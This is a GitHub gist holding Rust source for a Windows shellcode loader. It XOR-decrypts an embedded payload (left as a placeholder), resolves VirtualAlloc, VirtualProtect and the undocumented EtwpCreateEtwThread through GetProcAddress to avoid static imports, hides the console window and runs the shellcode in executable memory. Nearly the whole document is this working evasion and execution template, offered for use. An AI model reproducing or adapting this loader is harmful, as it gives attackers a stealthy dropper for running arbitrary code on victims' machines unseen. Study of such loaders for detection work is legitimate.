Skip to content

Instantly share code, notes, and snippets.

@Nexact
Created October 13, 2020 21:44
Show Gist options
  • Save Nexact/a67f5eefa47eb6e01983694b5f6dd154 to your computer and use it in GitHub Desktop.
Save Nexact/a67f5eefa47eb6e01983694b5f6dd154 to your computer and use it in GitHub Desktop.
Classic Windows process injection written in Rust using EtwpCreateEtwThread & a XOR routine to decrypt shellcode.
#![windows_subsystem = "windows"]
extern crate libc;
use std::os::raw::{c_void, c_int};
use std::{ptr, thread, time};
#[link(name = "kernel32")]
#[link(name = "user32")]
extern "stdcall" {
pub fn LoadLibraryA(lpFileName: *const u8) -> *const usize;
pub fn GetProcAddress(hModule: *const usize, lpProcName: *const u8) -> *const usize;
}
// Some typedef
type LPVOID = *mut c_void;
type PVOID = *mut c_void;
type VOID = c_void;
type SIZE_T = usize;
type DWORD = u32;
type PDWORD = *mut DWORD;
type BOOL = c_int;
type intptr_t = isize;
type FnEtwpCreateEtwThread = extern "stdcall" fn(*const i32, *const i32) -> intptr_t;
type FnVirtualAlloc = extern "stdcall" fn(lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) -> LPVOID;
type FnRtlCopyMemory = extern "stdcall" fn(Destination: PVOID, Source: *const VOID, Length: SIZE_T);
type FnVirtualProtect = extern "stdcall" fn(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: PDWORD) -> BOOL;
type FnGetConsoleWindow = extern "stdcall" fn() -> intptr_t;
type FnShowWindow = extern "stdcall" fn(hWnd: intptr_t, nCmdShow: c_int) -> BOOL;
// Winapi constant
pub const MEM_RESERVE: DWORD = 0x2000;
pub const MEM_COMMIT: DWORD = 0x1000;
pub const PAGE_READWRITE: DWORD = 0x04;
pub const PAGE_EXECUTE_READ: DWORD = 0x20;
fn main() {
// Our shellcode
let shellcode_encrypted = b"\x00\x00...";
let size = shellcode_encrypted.len();
let key = b"\x77\x77\x77\x77...";
// Xor shellcode
let shellcode: Vec<u8> = shellcode_encrypted.iter().enumerate().map(|(i, c)| c ^ key[i % key.len()]).collect();
// Load functions from ntdll.dll
const KERNEL32_DLL: &'static [u8] = b"kernel32\0";
const NTDLL_DLL: &'static [u8] = b"ntdll\0";
const USER32_DLL: &'static [u8] = b"user32\0";
const VIRTUALALLOC: &'static [u8] = b"VirtualAlloc\0";
const RTLCOPYMEMORY: &'static [u8] = b"RtlCopyMemory\0";
const VIRTUALPROTECT: &'static [u8] = b"VirtualProtect\0";
const ETWPCREATEETWTHREAD: &'static [u8] = b"EtwpCreateEtwThread\0";
const GETCONSOLEWINDOW: &'static [u8] = b"GetConsoleWindow\0";
const SHOWWINDOW: &'static [u8] = b"ShowWindow\0";
unsafe {
// Dynamically load function with GetProcAddress
let module_kernel32 = LoadLibraryA(KERNEL32_DLL.as_ptr() as *const u8);
let module_ntdll = LoadLibraryA(NTDLL_DLL.as_ptr() as *const u8);
let module_user32 = LoadLibraryA(USER32_DLL.as_ptr() as *const u8);
let h_virtualalloc = GetProcAddress(module_kernel32, VIRTUALALLOC.as_ptr() as *const u8);
let h_rtlcopymemory = GetProcAddress(module_kernel32, RTLCOPYMEMORY.as_ptr() as *const u8);
let h_virtualprotect = GetProcAddress(module_kernel32, VIRTUALPROTECT.as_ptr() as *const u8);
let h_etwpcreateetwthread = GetProcAddress(module_ntdll, ETWPCREATEETWTHREAD.as_ptr() as *const u8);
let h_getconsolewindow = GetProcAddress(module_kernel32, GETCONSOLEWINDOW.as_ptr() as *const u8);
let h_showwindow = GetProcAddress(module_user32, SHOWWINDOW.as_ptr() as *const u8);
// Prepare function
let VirtualAlloc = std::mem::transmute::<*const usize, FnVirtualAlloc>(h_virtualalloc);
let RtlCopyMemory = std::mem::transmute::<*const usize, FnRtlCopyMemory>(h_rtlcopymemory);
let VirtualProtect = std::mem::transmute::<*const usize, FnVirtualProtect>(h_virtualprotect);
let EtwpCreateEtwThread = std::mem::transmute::<*const usize, FnEtwpCreateEtwThread>(h_etwpcreateetwthread);
let GetConsoleWindow = std::mem::transmute::<*const usize, FnGetConsoleWindow>(h_getconsolewindow);
let ShowWindow = std::mem::transmute::<*const usize, FnShowWindow>(h_showwindow);
// Hide Windows
let window = GetConsoleWindow();
ShowWindow(window, 0);
// Alloc space and write shellcode
let addr = VirtualAlloc(ptr::null_mut(), size as usize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlCopyMemory(addr, shellcode.as_ptr() as *mut _, size);
// Change memory page protection
let mut old_protect: DWORD = PAGE_READWRITE;
VirtualProtect(addr as *mut c_void, size as usize, PAGE_EXECUTE_READ, &mut old_protect);
// Launch shellcode!
EtwpCreateEtwThread(addr as *mut i32,ptr::null());
}
// Loop eternally...
loop {
thread::sleep(time::Duration::from_secs(5));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment